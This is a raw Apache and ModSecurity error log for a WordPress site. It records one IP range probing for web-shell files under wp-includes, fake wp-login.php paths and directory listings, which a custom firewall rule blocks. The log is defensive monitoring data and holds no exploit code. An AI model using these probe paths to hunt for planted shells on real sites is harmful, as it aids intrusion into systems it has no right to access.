[Wed Feb 25 06:12:58.052908 2026] [:error] [pid 5619:tid 5658] [client 98.159.43.131:58389] [client 98.159.43.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/install.php"] [unique_id "aZ4iapFUzdv-0L_F4fvGoQAAAhc"]
[Wed Feb 25 06:13:17.458611 2026] [:error] [pid 5620:tid 5668] [client 98.159.43.155:63601] [client 98.159.43.155] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 98.159.43.155, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/modules/karakaroa/wp-login.php"] [unique_id "aZ4ifYY2LQjtieeRkobIQwAAAwY"]
[Wed Feb 25 06:13:19.871070 2026] [:error] [pid 5620:tid 5662] [client 98.159.43.155:63601] [client 98.159.43.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "aZ4if4Y2LQjtieeRkobITgAAAwA"]
[Wed Feb 25 06:13:22.049736 2026] [:error] [pid 5620:tid 5675] [client 98.159.43.155:29353] [client 98.159.43.155] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 98.159.43.155, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-admin/user/wp-login.php"] [unique_id "aZ4igoY2LQjtieeRkobIWQAAAw0"]
[Wed Feb 25 06:13:52.456785 2026] [:error] [pid 5620:tid 5662] [client 98.159.43.155:29353] [client 98.159.43.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/dist/editor/fxp.php"] [unique_id "aZ4ioIY2LQjtieeRkobI2wAAAwA"]
[Wed Feb 25 06:14:11.942303 2026] [:error] [pid 5620:tid 5694] [client 98.159.43.109:32965] [client 98.159.43.109] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/Cache/index.php"] [unique_id "aZ4is4Y2LQjtieeRkobJGAAAAxY"]
[Wed Feb 25 06:14:33.960742 2026] [:error] [pid 5620:tid 5674] [client 98.159.43.136:46059] [client 98.159.43.136] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 98.159.43.136, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/bltm/wp-login.php"] [unique_id "aZ4iyYY2LQjtieeRkobJaQAAAww"]
[Wed Feb 25 06:15:02.930723 2026] [autoindex:error] [pid 60290:tid 60300] [client 98.159.43.154:25151] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 25 06:15:11.462956 2026] [autoindex:error] [pid 60290:tid 60306] [client 98.159.43.154:25151] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 25 06:15:13.760569 2026] [autoindex:error] [pid 60290:tid 60300] [client 98.159.43.154:25151] AH01276: Cannot serve directory /home/vetstars/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 25 06:15:13.883543 2026] [autoindex:error] [pid 60290:tid 60311] [client 98.159.43.154:25151] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 25 06:15:14.055563 2026] [autoindex:error] [pid 60290:tid 60296] [client 98.159.43.154:25151] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 25 06:15:14.245766 2026] [autoindex:error] [pid 60290:tid 60302] [client 98.159.43.154:25151] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/ID3/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 25 06:15:14.417686 2026] [autoindex:error] [pid 60290:tid 60310] [client 98.159.43.154:25151] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Requests/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 25 06:15:14.673064 2026] [autoindex:error] [pid 60290:tid 60297] [client 98.159.43.154:25151] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/certificates/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 25 06:15:14.773738 2026] [autoindex:error] [pid 60290:tid 60315] [client 98.159.43.154:25151] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 25 06:15:14.873490 2026] [autoindex:error] [pid 60290:tid 60304] [client 98.159.43.154:25151] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 25 06:15:14.989636 2026] [autoindex:error] [pid 60290:tid 60294] [client 98.159.43.154:25151] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 25 06:16:15.288794 2026] [autoindex:error] [pid 60290:tid 60307] [client 98.159.43.154:25151] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/ectoplasm/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 25 06:16:15.433683 2026] [autoindex:error] [pid 60290:tid 60296] [client 98.159.43.154:25151] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/light/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 25 06:16:15.842522 2026] [autoindex:error] [pid 60290:tid 60308] [client 98.159.43.154:25151] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/midnight/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 25 06:16:15.944846 2026] [autoindex:error] [pid 60290:tid 60295] [client 98.159.43.154:25151] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/modern/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 25 06:16:16.057065 2026] [autoindex:error] [pid 60290:tid 60313] [client 98.159.43.154:25151] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/ocean/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 25 06:16:16.182071 2026] [autoindex:error] [pid 60290:tid 60294] [client 98.159.43.154:25151] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/sunrise/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 25 06:16:16.320459 2026] [autoindex:error] [pid 60290:tid 60293] [client 98.159.43.154:25151] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/js/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 25 06:16:22.119787 2026] [autoindex:error] [pid 60290:tid 60315] [client 98.159.43.154:25151] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 25 06:16:24.139610 2026] [autoindex:error] [pid 60290:tid 60300] [client 98.159.43.154:25151] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/images/crystal/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 25 06:16:24.262227 2026] [autoindex:error] [pid 60290:tid 60304] [client 98.159.43.154:25151] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/images/media/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 25 06:16:24.435879 2026] [autoindex:error] [pid 60290:tid 60302] [client 98.159.43.154:25151] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/images/smilies/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 25 06:16:26.345320 2026] [autoindex:error] [pid 60290:tid 60306] [client 98.159.43.154:25151] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/codemirror/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 25 06:16:26.476689 2026] [autoindex:error] [pid 60290:tid 60313] [client 98.159.43.154:25151] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/plupload/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 25 06:16:26.581109 2026] [autoindex:error] [pid 60290:tid 60292] [client 98.159.43.154:25151] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/PHPMailer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 25 06:16:26.718256 2026] [autoindex:error] [pid 60290:tid 60308] [client 98.159.43.154:25151] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/sitemaps/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 25 06:16:26.910047 2026] [autoindex:error] [pid 60290:tid 60296] [client 98.159.43.154:25151] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/sitemaps/providers/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 25 06:17:14.293533 2026] [autoindex:error] [pid 5619:tid 5657] [client 98.159.43.147:42477] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/tinymce/plugins/fullscreen/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 25 06:17:34.068652 2026] [autoindex:error] [pid 5619:tid 5646] [client 98.159.43.147:42477] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 25 06:17:41.680966 2026] [autoindex:error] [pid 5619:tid 5655] [client 98.159.43.147:42477] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 25 06:17:41.781628 2026] [autoindex:error] [pid 5619:tid 5647] [client 98.159.43.147:42477] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 25 06:17:47.569404 2026] [autoindex:error] [pid 5619:tid 5642] [client 98.159.43.147:42477] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/IXR/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 25 06:17:47.676095 2026] [autoindex:error] [pid 5619:tid 5659] [client 98.159.43.147:42477] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/SimplePie/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 25 06:17:47.792843 2026] [autoindex:error] [pid 5619:tid 5657] [client 98.159.43.147:42477] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Text/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 25 06:17:47.944806 2026] [autoindex:error] [pid 5619:tid 5636] [client 98.159.43.147:42477] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Text/Diff/Renderer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 25 06:17:48.087177 2026] [autoindex:error] [pid 5619:tid 5637] [client 98.159.43.147:42477] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/customize/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 25 06:17:48.278168 2026] [autoindex:error] [pid 5619:tid 5655] [client 98.159.43.147:42477] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/fonts/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 25 06:17:48.464032 2026] [autoindex:error] [pid 5619:tid 5647] [client 98.159.43.147:42477] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/pomo/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 25 06:17:48.602115 2026] [autoindex:error] [pid 5619:tid 5645] [client 98.159.43.147:42477] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/rest-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 25 06:17:48.730318 2026] [autoindex:error] [pid 5619:tid 5640] [client 98.159.43.147:42477] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 25 06:18:23.584026 2026] [autoindex:error] [pid 5619:tid 5646] [client 98.159.43.147:42477] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 25 06:18:23.708962 2026] [autoindex:error] [pid 5619:tid 5659] [client 98.159.43.147:42477] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/jcrop/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 25 06:18:51.546212 2026] [autoindex:error] [pid 5619:tid 5655] [client 98.159.43.147:42477] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/tinymce/plugins/paste/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 25 06:18:55.435214 2026] [autoindex:error] [pid 5619:tid 5647] [client 98.159.43.147:42477] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/block-supports/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 25 06:19:03.883259 2026] [autoindex:error] [pid 5619:tid 5659] [client 98.159.43.147:42477] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/tinymce/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 25 06:19:06.216182 2026] [autoindex:error] [pid 5619:tid 5644] [client 98.159.43.147:42477] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Text/Diff/Engine/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 25 06:19:10.380233 2026] [autoindex:error] [pid 5619:tid 5658] [client 98.159.43.147:42477] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/tinymce/plugins/directionality/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 25 06:19:12.455181 2026] [autoindex:error] [pid 5619:tid 5650] [client 98.159.43.147:42477] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/rest-api/search/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 25 06:19:12.579167 2026] [autoindex:error] [pid 5619:tid 5652] [client 98.159.43.147:42477] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/tinymce/plugins/compat3x/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 25 06:19:14.887968 2026] [autoindex:error] [pid 5619:tid 5643] [client 98.159.43.147:42477] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/block-patterns/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
